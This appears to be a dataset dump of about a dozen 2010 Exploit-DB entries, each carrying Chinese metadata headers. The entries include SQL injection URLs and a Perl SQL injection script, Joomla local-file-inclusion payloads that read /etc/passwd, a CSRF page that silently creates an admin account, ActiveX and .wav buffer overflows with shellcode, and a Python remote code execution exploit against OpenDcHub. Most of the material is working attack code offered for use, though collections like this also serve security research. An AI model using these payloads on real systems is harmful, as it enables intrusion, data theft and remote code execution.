QLWD/code_shield huggingface dataset:
标题: PHP-fusion dsmsf Mod Downloads - SQL Injection EDB-ID: 12028 CVE: 2009-3119 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-03 漏洞利用脚本: ========================================================
PHP-fusion dsmsf (module downloads) SQL Inj3ct0r Exploit
========================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com
#[+] visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net

Product: PHP-fusion dsmsf
Site: php-fusion.co.uk


Vulnerability in the file screen.php :

if (isset($_GET['view_id'])){ 
        $result = dbquery("SELECT * FROM ".DB_DOWNLOADS." WHERE download_id=".$_GET['view_id']."");


Exploit:

screen.php?view_id=-1+union+select+version()--


---------------------------------

ThE End =]  Visit my proj3ct  :

http://inj3ct0r.com
http://inj3ct0r.org
http://inj3ct0r.net


# Inj3ct0r.com [2010-04-04] URL: https://www.exploit-db.com/exploits/12028
标题: Microsoft Internet Explorer Tabular Data Control - ActiveX Remote Code Execution EDB-ID: 12032 CVE: 2010-0805 类型: DOS 平台: WINDOWS 发布日期: 2010-04-03 漏洞利用脚本: # CVE : CVE-2010-0805


<!--
.text:600058F7                 and     [ebp+pv], 0
.text:600058FE                 lea     eax, [ebp+pv]
.text:60005904                 push    eax             ; unsigned __int16 **
.text:60005905                 push    dword ptr [ebx+10h] ; struct IOleClientSite *
.text:60005908                 call    GetHostURL(IOleClientSite *,ushort * *)
.text:6000590D                 mov     eax, [ebp+var_218]
.text:60005913                 push    [ebp+pv]        ; pv
.text:60005919                 mov     [ebp+eax+var_204], 0
.text:60005921                 mov     eax, [ebp+var_21C]    ; length of the DataURL param
.text:60005927                 mov     [ebp+eax+var_104], 0        ; write one byte to arbitrary stack address
-->
<html>
<title>Trigger for ZDI-10-034 by ZSploit.com</title>
<head>
</head>
<body>
<object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83">
<param name="DataURL" value="http://zsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploi"/>
</object>
</body>
</html>


The ZSploit Team URL: https://www.exploit-db.com/exploits/12032
标题: IncrediMail 2.0 - ActiveX (Authenticated) Buffer Overflow (PoC) EDB-ID: 12030 CVE: 2010-5289 类型: DOS 平台: WINDOWS 发布日期: 2010-04-03 漏洞利用脚本: IncrediMail 2.0 activeX (Authenticate) bof poc

# by d3b4g
# Tested: incerdiMail 2.0
# Vendor url:http://www.incredimail.com/english/splash.aspx
# Tested on windows XP SP3
# 1-03-2010

Debugging info
--------------
Exception Code: ACCESS_VIOLATION
Disasm: 678914AE MOV EDX,[ECX] (ImSpoolU.dll)

Seh Chain:
--------------------------------------------------
1  678AE129  ImSpoolU.dll
2  678AE3C0  ImSpoolU.dll
3  678AE6D0  ImSpoolU.dll
4  1682950  VBSCRIPT.dll
5  7C839AD8  KERNEL32.dll



Called From                   Returns To                    
--------------------------------------------------
ImSpoolU.678914AE             8458BEC                       


Registers:
--------------------------------------------------
EIP 678914AE -> Asc: AUTH
EAX 018BDA90 -> Asc: AUTH
EBX 01C00048 -> 678B83EC
ECX 00000000
EDX 0018A812 -> F00DBAAD
EDI 00000006
ESI 018BDA90 -> Asc: AUTH
EBP 77124C1B -> 8B55FF8B
ESP 0013ED24 -> BFA7C790


Block Disassembly: 
--------------------------------------------------
6789149C CALL 678A14A0
678914A1 MOV [ESI+4],EAX
678914A4 MOV ESI,[ESI+4]
678914A7 JMP SHORT 678914AB
678914A9 XOR ESI,ESI
678914AB MOV ECX,[EBX+18]
678914AE MOV EDX,[ECX]   <--- CRASH
678914B0 MOV EAX,[EDX+18]
678914B3 PUSH 0
678914B5 PUSH EDI
678914B6 PUSH ESI
678914B7 CALL EAX
678914B9 MOV ESI,EAX
678914BB CMP ESI,-1
678914BE JNZ SHORT 678914D2


ArgDump:
--------------------------------------------------
EBP+8 0574C085
EBP+12 D1FC408B
EBP+16 04C25DE8
EBP+20 90909000
EBP+24 FF8B9090
EBP+28 53EC8B55


Stack Dump:
--------------------------------------------------
13ED24 90 C7 A7 BF B8 DA 8B 01 48 00 C0 01 48 00 C0 01  [........H...H...]
13ED34 00 00 00 00 C9 0B 04 80 00 00 00 00 80 ED 13 00  [................]
13ED44 29 E1 8A 67 FF FF FF FF 3A 28 89 67 48 00 C0 01  [...g.......gH...]
13ED54 78 ED 13 00 A4 A6 8B 67 C8 0B 04 80 01 00 00 00  [.......g........]
13ED64 D0 C7 A7 BF 70 50 C0 01 FF FF FF FF 48 00 C0 01  [....pP......H...]

Olly snip
---------
http://img41.imageshack.us/img41/5595/incrediblellll.jpg




<HTML>
<object classid='clsid:032038A5-B655-11D3-BB7D-0050DA276194' id='target' />
<script language='vbscript'>

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\IncrediMail\Bin\ImSpoolU.dll"
prototype  = "Sub Authenticate ( ByVal bsServer As String ,  ByVal bsUser As String ,  ByVal bsPassword As String ,  ByVal fSecure As Long )"
memberName = "Authenticate"
progid     = "INCREDISPOOLERLib.Pop"
argCount   = 4

arg1=String(1044, "A")
arg2="defaultV"
arg3="defaultV"
arg4=1

target.Authenticate arg1 ,arg2 ,arg3 ,arg4 

</script>
</html> URL: https://www.exploit-db.com/exploits/12030
标题: Free MP3 CD Ripper 2.6 - '.wav' Local Overflow EDB-ID: 12012 CVE: 2011-5165 类型: LOCAL 平台: WINDOWS 发布日期: 2010-04-02 漏洞利用脚本: # Exploit Title: Free MP3 CD Ripper 2.6 0 day
# Date: 30/03/2010
# Author: Richard leahy
# Reference: http://www.exploit-db.com/exploits/11975/
# Software Link: http://www.soft32.com/Download/Free/Free_MP3_CD_Ripper/4-250188-1.html
# Version: 2.6
# Tested on: Windows Xp Sp2

#to exploit this  open up the application select file -> wav converter -> wav to mp3

#use your favourite programming language and print out the contents into a text file. save the text file as a .wav
#then open up the wav file and boom.

#feel free to email me leahy_rich@hotmail.com

#code
nop = "\x90"

#imagehlp
jmp_esp = [0x76cafa32].pack('V')

#shellcode opens notepad
shellcode =
"\xd9\xc7\xd9\x74\x24\xf4\xba\xcc\x7a\xcb\xf7\x33\xc9\xb1" +
"\x33\x5e\x83\xee\xfc\x31\x56\x13\x03\x9a\x69\x29\x02\xde" +
"\x66\x24\xed\x1e\x77\x57\x67\xfb\x46\x45\x13\x88\xfb\x59" +
"\x57\xdc\xf7\x12\x35\xf4\x8c\x57\x92\xfb\x25\xdd\xc4\x32" +
"\xb5\xd3\xc8\x98\x75\x75\xb5\xe2\xa9\x55\x84\x2d\xbc\x94" +
"\xc1\x53\x4f\xc4\x9a\x18\xe2\xf9\xaf\x5c\x3f\xfb\x7f\xeb" +
"\x7f\x83\xfa\x2b\x0b\x39\x04\x7b\xa4\x36\x4e\x63\xce\x11" +
"\x6f\x92\x03\x42\x53\xdd\x28\xb1\x27\xdc\xf8\x8b\xc8\xef" +
"\xc4\x40\xf7\xc0\xc8\x99\x3f\xe6\x32\xec\x4b\x15\xce\xf7" +
"\x8f\x64\x14\x7d\x12\xce\xdf\x25\xf6\xef\x0c\xb3\x7d\xe3" +
"\xf9\xb7\xda\xe7\xfc\x14\x51\x13\x74\x9b\xb6\x92\xce\xb8" +
"\x12\xff\x95\xa1\x03\xa5\x78\xdd\x54\x01\x24\x7b\x1e\xa3" +
"\x31\xfd\x7d\xa9\xc4\x8f\xfb\x94\xc7\x8f\x03\xb6\xaf\xbe" +
"\x88\x59\xb7\x3e\x5b\x1e\x47\x75\xc6\x36\xc0\xd0\x92\x0b" +
"\x8d\xe2\x48\x4f\xa8\x60\x79\x2f\x4f\x78\x08\x2a\x0b\x3e" +
"\xe0\x46\x04\xab\x06\xf5\x25\xfe\x69\x96\xad\x64\x06\x09" +
"\x2a\x67\xec"

boom = "\x41" * 4112 + jmp_esp + nop * 10 + shellcode
puts boom URL: https://www.exploit-db.com/exploits/12012
标题: CMS Made Simple 1.7 - Cross-Site Request Forgery EDB-ID: 12009 CVE: 2010-3884 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-02 漏洞利用脚本: =======================================================================
   
                                                CMS Made Simple 1.7 CSRF Vulnerability
 
                                =======================================================================
   
                                                              
 
   
   
  # Vulnerability found in- Admin module
   
  # email         Pratulag@yahoo.com
   
  # company       aksitservices
   
  # Credit by     Pratul Agrawal
 
  # Software      CMS Made Simple 1.7

  # Category     CMS / Portals
  
  # Site p4ge     http://server/demo/2/10/CMS_Made_Simple
  
  # Plateform     php

  # Greetz to     Gaurav, Prateek, Vivek, Sanjay, Sourabh, Varun, sameer (My Web Team)
  
   
   
  #  Proof of concept   #
 
  Targeted URL:  http://sever/demo/2/10/CMS_Made_Simple
  
 
   Script to Add admin user through Cross Site request forgery
   
             .  ................................................................................................................
   
                         <html>

                          <body>

                             <form name="csrf" action="http://server/cmsmadesimple/admin/adduser.php" method="post">

                                    <input type=hidden name="sp_" value="64becc90">

                                    <input type=hidden name="user" value="master">

                                    <input type=hidden name="password" value="master">

                                    <input type=hidden name="passwordagain" value="master">

                                    <input type=hidden name="firstname" value="12345">

                                    <input type=hidden name="lastname" value="12345">

                                    <input type=hidden name="email" value="aa@aa.com">

                                    <input type=hidden name="active" value="on">

                                    <input type=hidden name="groups" value="1">

                                    <input type=hidden name="g1" value="1">

                                    <input type=hidden name="adduser" value="true">

              
                             </form>

                               <script>

                                 document.csrf.submit();

                               </script>

                          </body>

                        </html>
   
             .  ..................................................................................................................
   
   
   
  After execution just refresh the page and we can see that the admin user added automatically.
  
  
  #If you have any questions, comments, or concerns, feel free to contact me. URL: https://www.exploit-db.com/exploits/12009
标题: Adobe Reader - Escape From '.PDF' Execute Embedded Executable EDB-ID: 11987 CVE: 2010-1240 2010-1239 类型: LOCAL 平台: WINDOWS 发布日期: 2010-03-31 漏洞利用脚本: Title : Escape From PDF
Author : Didier Stevens
Date : 03/29/2010
Source : http://blog.didierstevens.com/2010/03/29/escape-from-pdf/

This is a special PDF hack: I managed to make a PoC PDF to execute an embedded executable without exploiting any vulnerability!

I use a launch action triggered by the opening of my PoC PDF. With Adobe Reader, the user gets a warning asking for approval to launch the action, but I can (partially) control the message displayed by the dialog. Foxit Reader displays no warning at all, the action gets executed without user interaction.

PDF viewers like Adobe Reader and Foxit Reader don’t allow embedded executables (like binaries and scripts) to be extracted and executed, but I found another way to launch a command (/Launch /Action), and ultimately run an executable I embedded using a special technique. With Adobe Reader, a launch action needs to be approved by the user, but I can partially control the message displayed by the dialog box.

 Example 1:
 http://didierstevens.files.wordpress.com/2010/03/20100329-211248.png?w=478&h=262

 Example 2:
 http://didierstevens.files.wordpress.com/2010/03/20100329-211313.png?w=478&h=262

Do you believe this could this mislead some of your users? Or maybe you can come up with a better message to fool your users.

With Foxit Reader, no warning is displayed:

 Example 3:
 http://didierstevens.files.wordpress.com/2010/03/20100329-211310.png?w=457&h=385

I’m not publishing my PoC PDF yet, but you can download a PDF that will just launch cmd.exe here. Use it to test your PDF reader:

 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11987.zip (launch-action-cmd.zip)

With Adobe Reader, the only thing preventing execution is a warning. Disabling JavaScript will not prevent this (I don’t use JavaScript in my PoC PDF), and patching Adobe Reader isn’t possible (I’m not exploiting a vulnerability, just being creative with the PDF language specs).

I shared my PoC with Adobe’s PSIRT. Maybe they will come up with a solution to prevent this, should they consider that the protection offered by the warning dialog is not sufficient. BTW, preventing Adobe Reader from creating new processes blocks this trick.

n this case, Foxit Reader is probably worse than Adobe Reader, because no warning gets displayed to prevent the launch action. My PoC PDF requires some changes for Foxit Reader, because ultimately, the executable doesn’t run. But that’s probably due to some variation in the PDF language supported by Foxit Reader.

Tested with Adobe Reader 9.3.1 on Windows XP SP3 and Windows 7. URL: https://www.exploit-db.com/exploits/11987
标题: Joomla! Component User Status - Local File Inclusion EDB-ID: 11998 CVE: 2010-1304 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-01 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Component User Status Local File Inclusion
---------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Group  : LatinHackTeam
Email & msn : chipdebios@gmail.com
Date  : 31 March 2010
Critical Lvl : Moderate
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : User Status
version  : 1.21.16 
Developer : Mo Kelly
License  : GPL            type  : Commercial
Price  : 10.00 USD
Date Added : 27 March 2010
Download : http://joomlamo.com/joomlamo/downloads/cat_view/6-other-joomla-components-modules-and-plugins.html



Description     :

The component back end allows the entry of locations. Also assigning users to a location is done in the back end.
Users that are not assigned a location do not show up in the User Status Screen.

After creating locations and assigning users you may view their status from the front end.
Create a menu selection with user User Status component.

There is a separate module to allow users to update their status.

Another module, "Refresh Page" makes sure that the user status screen accurately reflects users status.

A User's status must be updated to change, it will not expire with the user session.


--------------
file error : components/com_userstatus/userstatus.php

how to exploit

http://127.0.0.1/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/11998
标题: OpenDcHub 0.8.1 - Remote Code Execution EDB-ID: 11986 CVE: 2010-1147 类型: REMOTE 平台: LINUX 发布日期: 2010-03-31 漏洞利用脚本: #!/usr/bin/python
#
# OpenDcHub 0.8.1 Remote Code Execution Exploit
# Pierre Nogues - http://www.indahax.com
#
# Description:
#     OpenDcHub is a direct connect hub for Linux
#
#     OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack overflow.
#
# Affected versions :
#     OpenDcHub 0.8.1
#
# Plateforms :
#     Unix
#
# Usage :
#     ./exploit.py

import socket

host = '192.168.1.9'
port = 5000

# must not contain \x36 \x53 \x00 bytes
# max shellcode size = 103 bytes use exploit v2 otherwise
shellcode="\x33\xc9\xb1\x13\xba\xf6\x1d\xe7\xfa\xdb\xde\xd9\x74\x24"
shellcode+="\xf4\x5e\x83\xc6\x04\x31\x56\x0a\x03\xa0\x17\x05\x0f\x7d"
shellcode+="\xf3\x3e\x13\x2e\x40\x92\xbe\xd2\xcf\xf5\x8f\xb4\x02\x75"
shellcode+="\xb4\x66\xf5\xb6\xe3\x97\x37\x51\x9c\x86\x6b\xfb\x0f\xc2"
shellcode+="\x83\x52\xe0\x9b\x45\x17\x6a\xfd\xdd\x55\xea\x58\x59\xbc"
shellcode+="\x5b\x65\xa8\xbf\xd5\xe0\xcb\x90\x8d\x3d\x03\x62\x26\x29"
shellcode+="\x74\xe6\xdf\xc7\x03\x05\x4f\x44\x9d\x2b\xc0\x61\x50\x2b"
shellcode+="\x2b"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("$ValidateNick joseph|")

hax="$MyINFO $ALL joseph "
hax+=shellcode
for i in range(103 - len(shellcode)):
     hax+="A"
hax+="$"
hax+="\x20\x81\x81\x80" # esp
hax+="\xed\xf6\xfe\xbf" # eip
hax+="S:-1|"

s.send(hax)
s.close()

"""
# V2
# more complex version working too, it have more space for the shellcode

hax="$MyINFO $ALL joseph AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
hax+="\xFF\xFF\xFF\xFE" # local var int len of commands.c:my_info() must be a negative value
hax+="TTTTUUUUVVVVWWWWXXXXYYYYZZZZBBBBCCCCEEEEEEE$"
hax+="\x20\x81\x81\x80" # esp
hax+="\x80\xf7\xfe\xbf" # eip
hax+="\xCC\xCC\xCC\xCC" # useless var
hax+="\x10\xf0\xfe\xbf" # this address + x20 will be overwritten by 4 bytes
# shellcode time
hax+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
hax+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
hax+=shellcode
hax+="|"
""" URL: https://www.exploit-db.com/exploits/11986
标题: Joomla! Component webERPcustomer - Local File Inclusion EDB-ID: 11999 CVE: 2010-1315 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-01 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Component webERPcustomer Local File Inclusion
---------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Group  : LatinHackTeam
Email & msn : chipdebios@gmail.com
Date  : 31 March 2010
Critical Lvl : Moderate
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : webERPcustomer
version  : 1.2.1
Developer : Mo Kelly
License  : GPL            type  : Commercial
Price  : 20.00 USD
Date Added : 24 June 2009
Download : http://joomlamo.com/joomlamo/downloads/cat_view/8-extensions-integrated-with-weberp.html


Description     :

webERPcustomer is a Joomla! component integrated with webERP. Upon logging in and clicking the webERPcustomer
menu selection the user/salesperson will be able to view and update webERP customer master records assigned
to them and access/update associated wiki data. webERPcustomer is an easy way to allow sales persons to update
their customer data.

The Joomla user name and webERP salesperson code must be the same and the Joomla database user must be given
rights to the webERP database.

webERP is an open source accounting package that is very popular. At Rockwall Computer we are writing modules
and components integrated with webERP so that companies can access and update data in webERP using Joomla modules
and components. This reduces training time and the user interface is more friendly and powerful.


For instance, this accounts receivable customer and branch record update is much easier to access than through webERP.
Clicking the note/pencil opens the webERP wiki notes for that customer. This method of access to a sales persons
including the wiki integration makes it very powerful!


--------------
file error : components/com_weberpcustomer/weberpcustomer.php

how to exploit

http://127.0.0.1/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/11999
标题: Joomla! Component Jvehicles - Local File Inclusion EDB-ID: 11997 CVE: 2010-1873 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-01 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Component Jvehicles Local File Inclusion
---------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Group  : LatinHackTeam
Email & msn : chipdebios@gmail.com
Date  : 31 March 2010
Critical Lvl : Moderate
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : Jvehicles
version  : 1.0
Developer : este8an
License  : GPL            type  : Non-Commercial
Date Added : 5 May 2009
Download : http://www.jvehicles.com/index.php?option=com_remository&Itemid=6&func=select&id=2&orderby=3&#9001;=en




Description     :

Derivation of a popular component com_properties (for Estate Agent) .
This component is to manage vehicles. With the same functionality.


--------------
file error : components/com_jvehicles/jvehicles.php

how to exploit

http://127.0.0.1/index.php?option=com_jvehicles&controller=../../../../../../../../../../etc/passwd%00

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/11997
标题: Centreon IT & Network Monitoring 2.1.5 - SQL Injection EDB-ID: 11979 CVE: 2010-1301 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-31 漏洞利用脚本: #!/usr/bin/perl
# //--------[PoC]---------//
#
# Title   : Centreon IT & Network Monitoring v2.1.5 - Injection SQL
# Version : 2.1.5
# Author  : Jonathan Salwan (j.salwan@sysdream.com)
#
#
# [Vuln sql injection]
# http://localhost/centreon/main.php?p=201&host_id=-1%20[SQL Injection]&o=p&min=1
# 
# http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1
#
#
# //-------[Credit]-------//
#
# http://www.sysdream.com
# http://www.shell-storm.org
#

use LWP::UserAgent;

my $url   = 'http://localhost/centreon/index.php';
my $login = 'login';
my $paswd = 'pwd';
my $sql   = 'http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1';

my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);
my $cook = $response->header('Set-Cookie');

my $req2 = $ua->post($url, 
             {useralias => $login, password => $paswd, submit => 'login'},
                    Cookie => $cook,
      Content-Type => 'application/x-www-form-urlencoded'
                    );

my $response = $ua->get($sql, Cookie => $cook);
my $content = $response->content();

 open(FILE, '>sql-centreon.txt');
 print FILE $content;
 close(FILE);

 print "\n[Answer SQL Injection]\n\n";

 my $selection = system('cat sql-centreon.txt | grep ">Host</td>"');
 unlink('sql-centreon.txt'); 

print "\n"; URL: https://www.exploit-db.com/exploits/11979
标题: Free MP3 CD Ripper 2.6 - '.wav' (PoC) EDB-ID: 11975 CVE: 2011-5165 类型: DOS 平台: WINDOWS 发布日期: 2010-03-30 漏洞利用脚本: # Exploit Title: Free MP3 CD Ripper 2.6 (wav) 0-day
# Date: 30/03/2010
# Author: Richard leahy
# Software Link: http://www.soft32.com/Download/Free/Free_MP3_CD_Ripper/4-250188-1.html
# Version: 2.6
# Tested on: Windows Xp Sp2

#to exploit this  open up the application select file -> wav converter -> wav to mp3

#use your favourite programming language and print out the contents into a text file. save the text #file as a .wav
#then open up the wav file and boom.

#feel free to email me leahy_rich@hotmail.com

#code

!#/usr/bin/env ruby
nop = "\x90" # nop
shellcode = "\xCC" #just an interupt can be replaced by proper shellcode
jmp_esp = "\x32\xfa\xca\x76" #find a jmp esp i will use imagehlp  , little endian so reverse it
boom = "A" * 4112 + jmp_esp + nop * 50 + shellcode

puts boom URL: https://www.exploit-db.com/exploits/11975